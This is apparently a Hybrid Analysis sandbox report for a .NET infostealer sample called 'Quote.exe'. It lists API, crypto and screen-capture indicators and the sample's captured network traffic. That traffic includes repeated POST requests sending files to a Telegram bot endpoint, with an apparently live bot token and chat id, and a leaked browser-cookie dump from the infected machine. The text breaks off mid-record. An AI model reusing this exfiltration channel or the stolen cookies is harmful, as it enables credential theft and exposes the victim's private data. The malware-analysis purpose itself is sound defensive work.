26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 4e:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4a3,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.MSIL.Basic.8 Sample 7754fc3ae79d… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 7754fc3ae79d…. Malware family: Trojan.MSIL.Basic.8. Threat score 100/100. 11/27 AV engines flagged this file. 8 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7754fc3ae79dd10fdb5f3a04251eb2e87ecf281597c058b27ae852083cf71ab4","keywords":["Malicious","Trojan.MSIL.Basic.8","malware analysis","sandbox report","threat intelligence","7754fc3ae79dd10fdb5f3a04251eb2e87ecf281597c058b27ae852083cf71ab4"],"about":{"@type":"SoftwareApplication","name":"Quote.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"7754fc3ae79dd10fdb5f3a04251eb2e87ecf281597c058b27ae852083cf71ab4","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.MSIL.Basic.8","antivirusDetections":{"malicious":11,"total":27},"behavioralIndicators":{"malicious":8,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T6e2,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00007828.00000000.194994.058C0000.00000004.mdmp, 00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp, 00000000-00007828.00000001.196916.081E0000.00000004.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp, 00000000-00007828.00000002.198834.6FB05000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp, 00000000-00007828.00000002.198834.6FB05000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp")28:T1ada,Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512" (Indicator: "SHA512"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng" (Indicator: "SHA512"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.HMAC" (Indicator: "HMAC"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "KeyedHashAlgorithm"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp")29:T7eb,"" (Indicator: "enumchildwindows"; Source: "00000000-00007828.00000000.194994.03830000.00000004.mdmp, 00000000-00007828.00000001.196916.03830000.00000004.mdmp, 00000000-00007828.00000002.198834.03830000.00000004.mdmp, 00000000-00007828.00000003.199710.03830000.00000004.mdmp")2f:T1b5b,"" - Source: "00000000-00007828.00000003.199710.6FAF1000.00000020.mdmp")41:T72c,Contains base62 string in header "AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2" in header "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1Content-Type: multipart/form-data; boundary="11829c8c-009a-4b96-b2bd-bfb7540afe4b"Host: api.telegram.orgContent-Length: 14185Connection: Keep-Alive" Contains base62 string in header "AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2" in header "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1Content-Type: multipart/form-data; boundary="43114c2c-270a-42ea-901e-48b4005ea075"Host: api.telegram.orgContent-Length: 285" Contains base62 string in header "AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2" in header "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1Content-Type: multipart/form-data; boundary="eeca6710-4829-4338-991c-96c83926f016"Host: api.telegram.orgContent-Length: 279" Contains base62 string in header "AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2" in header "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1Content-Type: multipart/form-data; boundary="19a9a391-7464-4172-be50-78ff52dabc9e"Host: api.telegram.orgContent-Length: 25406" Contains base62 string in header "AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2" in header "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1Content-Type: multipart/form-data; boundary="86e8b9a0-0f9f-4e17-90ee-9536048e81a5"Host: api.telegram.orgContent-Length: 279" Contains base62 string in header "AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2" in header "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1Content-Type: multipart/form-data; boundary="69410bbc-4c9c-4299-ae1a-4cb5a9c68b5a"Host: api.telegram.orgContent-Length: 273"42:Tac3,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007828.00000000.194994.03830000.00000004.mdmp, 00000000-00007828.00000001.196916.03830000.00000004.mdmp, 00000000-00007828.00000002.198834.03830000.00000004.mdmp, 00000000-00007828.00000003.199710.03830000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007828.00000000.194994.03830000.00000004.mdmp, 00000000-00007828.00000001.196916.03830000.00000004.mdmp, 00000000-00007828.00000002.198834.03830000.00000004.mdmp, 00000000-00007828.00000003.199710.03830000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00007828.00000000.194994.03830000.00000004.mdmp, 00000000-00007828.00000001.196916.03830000.00000004.mdmp, 00000000-00007828.00000002.198834.03830000.00000004.mdmp, 00000000-00007828.00000003.199710.03830000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007828.00000000.194994.03830000.00000004.mdmp, 00000000-00007828.00000001.196916.03830000.00000004.mdmp, 00000000-00007828.00000002.198834.03830000.00000004.mdmp, 00000000-00007828.00000003.199710.03830000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007828.00000000.194994.03830000.00000004.mdmp, 00000000-00007828.00000001.196916.03830000.00000004.mdmp, 00000000-00007828.00000002.198834.03830000.00000004.mdmp, 00000000-00007828.00000003.199710.03830000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00007828.00000000.194994.03830000.00000004.mdmp, 00000000-00007828.00000001.196916.03830000.00000004.mdmp, 00000000-00007828.00000002.198834.03830000.00000004.mdmp, 00000000-00007828.00000003.199710.03830000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00007828.00000000.194994.03830000.00000004.mdmp, 00000000-00007828.00000001.196916.03830000.00000004.mdmp, 00000000-00007828.00000002.198834.03830000.00000004.mdmp, 00000000-00007828.00000003.199710.03830000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00007828.00000000.194994.03830000.00000004.mdmp, 00000000-00007828.00000001.196916.03830000.00000004.mdmp, 00000000-00007828.00000002.198834.03830000.00000004.mdmp, 00000000-00007828.00000003.199710.03830000.00000004.mdmp")43:T9e4,"" (Indicator: "password"; Source: "00000000-00006236.00000000.204767.04D10000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00007828.00000000.194994.058C0000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00007828.00000000.194994.058C0000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00007828.00000000.194994.058C0000.00000004.mdmp") Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00007828.00000000.194994.058C0000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00007828.00000000.194994.058C0000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00007828.00000000.194994.058C0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00007828.00000002.198834.0A810000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00007828.00000002.198834.0A820000.00000004.mdmp, 00000000-00007828.00000003.199710.0A820000.00000004.mdmp")48:T4e9,Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp")49:Ta7ca,"POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="11829c8c-009a-4b96-b2bd-bfb7540afe4b" Host: api.telegram.org Content-Length: 14185 Connection: Keep-Alive" with payload::==> "--11829c8c-009a-4b96-b2bd-bfb7540afe4bContent-Disposition: form-data; name=document; filename=Chromium_cookies_DESKTOP-FVVF82A_2026-04-03_10.19.51.json; filename*=utf-8''Chromium_cookies_DESKTOP-FVVF82A_2026-04-03_10.19.51.json[ { "Browser": "Google Chrome", "Profile": "Default", "Domain": "ogs.google.com", "Path": "/", "Name": "OTZ", "Value": "7460170_88_88_104280_84_446940", "Expiry": 1712506199, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Google Chrome", "Profile": "Default", "Domain": ".google.com", "Path": "/", "Name": "NID", "Value": "512=GaIWG2XErwXZiLYBiquN_7iyfbz3JhbiQU45CnOElIYH5IPZ-JFQTXxwdubVOgj-B9cVgkcMCrMEAlaHrmac0o8sI0Ll3ffehUk6LUCGAIF-HhczuAy6dki2uDWlOYaQr-2FOZKuhW5yOlB-hM76Ycp6EAtMmbZ9gHzzydvKrtE", "Expiry": 1725725429, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".mediago.io", "Path": "/", "Name": "__mguid_", "Value": "6b645479206cf06c52b9942d5a69fa02", "Expiry": 1745775274, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".popin.cc", "Path": "/", "Name": "__mguid_", "Value": "5d2fd59fbae537693bad87b9b486c1ef", "Expiry": 1762641792, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "ABDEF", "Value": "V=13&ABDV=13&MRNB=1709914096579&MRB=0", "Expiry": 1744474096, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".doubleclick.net", "Path": "/", "Name": "IDE", "Value": "AHWqTUkDGV3wgTFhsU-qBz-5IrBlXYLuvmjllUGNSdNo-M1wxG1gZvMnvnPSYdxNP9g", "Expiry": 1744474099, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "SRCHUSR", "Value": "DOB=20220428&T=1709914095000", "Expiry": 1744474097, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "USRLOC", "Value": "HS=1&ELOC=LAT=49.279151916503906|LON=-123.11663818359375|N=Vancouver%2C%20British%20Columbia|ELT=1|", "Expiry": 1744474096, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "_RwBf", "Value": "ilt=3&ihpd=0&ispd=1&rc=13&rb=0&gb=0&rg=200&pc=10&mtu=0&rbb=0&g=0&cid=&clo=0&v=1&l=2024-03-08T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2024-03-08T16:08:17.3400257+00:00&rwred=0&wls=&lka=0&lkt=0&TH=&r=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0001-01-01T00:00:00.0000000&rwflt=0001-01-01T00:00:00.0000000&wlb=&wle=&ccp=&aad=0", "Expiry": 1741450097, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "_SS", "Value": "SID=00", "Expiry": 1741450085, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".google.com", "Path": "/chrome", "Name": "_ga", "Value": "GA1.2-2.1000637438.1709914100", "Expiry": 1744474110, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".google.com", "Path": "/chrome/", "Name": "_ga", "Value": "GA1.1-2.1000637438.1709914100", "Expiry": 1744474110, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".linkedin.com", "Path": "/", "Name": "bcookie", "Value": "\"v=2&98789ba8-528f-4df4-8ba8-ccdec94c55a5\"", "Expiry": 1741450085, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".google.com", "Path": "/chrome/", "Name": "_ga_B7W0ZKZYDK", "Value": "GS1.1-2.1709914102.1.1.1709914125.0.0.0", "Expiry": 1744474125, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "assets.msn.com", "Path": "/", "Name": "MUIDB", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1743610255, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "ntp.msn.com", "Path": "/", "Name": "MUIDB", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1743610254, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "_EDGE_V", "Value": "1", "Expiry": 1743610254, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".ntp.msn.com", "Path": "/", "Name": "sptmarket", "Value": "en||ca|en-ca|en-ca|en||RefA=04AD1899CBCD42F1A59303D8318894C8.RefC=2024-03-08T16:08:02Z", "Expiry": 1741450255, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "ntp.msn.com", "Path": "/", "Name": "sptmarket", "Value": "en||ca|en-ca|en-ca|en||RefA=822484962F034C50AE4F31D425B5E586.RefC=2024-03-08T16:10:54Z", "Expiry": 1744474254, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "www.msn.com", "Path": "/", "Name": "MSFPC", "Value": "GUID=99db494f794a4c21af6255a5bf556203&HASH=99db&LV=202303&V=4&LU=1678459558597", "Expiry": 1741450451, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "www.msn.com", "Path": "/", "Name": "MUIDB", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1743610444, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "SRCHHPGUSR", "Value": "SRCHLANG=en", "Expiry": 1744474445, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "www.msn.com", "Path": "/", "Name": "sptmarket", "Value": "en-us||ca|en-ca|en-ca|en||RefA=3BED9F13895541C998363E2284D93BF5.RefC=2024-03-08T16:14:03Z", "Expiry": 1744474443, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "www.msn.com", "Path": "/", "Name": "MicrosoftApplicationsTelemetryDeviceId", "Value": "20d5ab14-cfcb-4497-9569-2cac0e5ed75f", "Expiry": 1741450487, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".scorecardresearch.com", "Path": "/", "Name": "UID", "Value": "1DA96fb7b08f419c1dac52a1651167224", "Expiry": 1744474484, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".dc.arrivalist.com", "Path": "/", "Name": "avlcnt", "Value": "1", "Expiry": 1741450488, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".dc.arrivalist.com", "Path": "/", "Name": "avlukey", "Value": "65eb3978393159.39615679", "Expiry": 1741450488, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".mgid.com", "Path": "/", "Name": "muidn", "Value": "m3sNYbRJmwxa", "Expiry": 1741450486, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".adnxs.com", "Path": "/", "Name": "receive-cookie-deprecation", "Value": "1", "Expiry": 1744474489, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.msn.com", "Path": "/", "Name": "ANONCHK", "Value": "0", "Expiry": 1721061512, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.bing.com", "Path": "/", "Name": "MR", "Value": "0", "Expiry": 1721665712, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.msn.com", "Path": "/", "Name": "MR", "Value": "0", "Expiry": 1721665712, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "MUID", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "MUID", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.bing.com", "Path": "/", "Name": "SRM_B", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.bing.com", "Path": "/", "Name": "SRM_M", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.msn.com", "Path": "/", "Name": "SRM_M", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".github.com", "Path": "/", "Name": "_octo", "Value": "GH1.1.1635810349.1721060913", "Expiry": 1752596914, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".github.com", "Path": "/", "Name": "logged_in", "Value": "no", "Expiry": 1752596914, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "ntps", "Value": "{\"m\":\"en-ca\"}", "Expiry": 1736785712, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/edge", "Name": "pglt-edgeChromium-dhp", "Value": "43", "Expiry": 1736785713, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "ntp.msn.com", "Path": "/", "Name": "ai_session", "Value": "85E0Mztb1Wr4hUXARcJkew|1721060911880|1721061014809", "Expiry": 1721062814, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "ntp.msn.com", "Path": "/", "Name": "MicrosoftApplicationsTelemetryDeviceId", "Value": "c20593ac-a091-4cd6-839f-e17bb0b5b252", "Expiry": 1752597048, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "OptanonConsent", "Value": 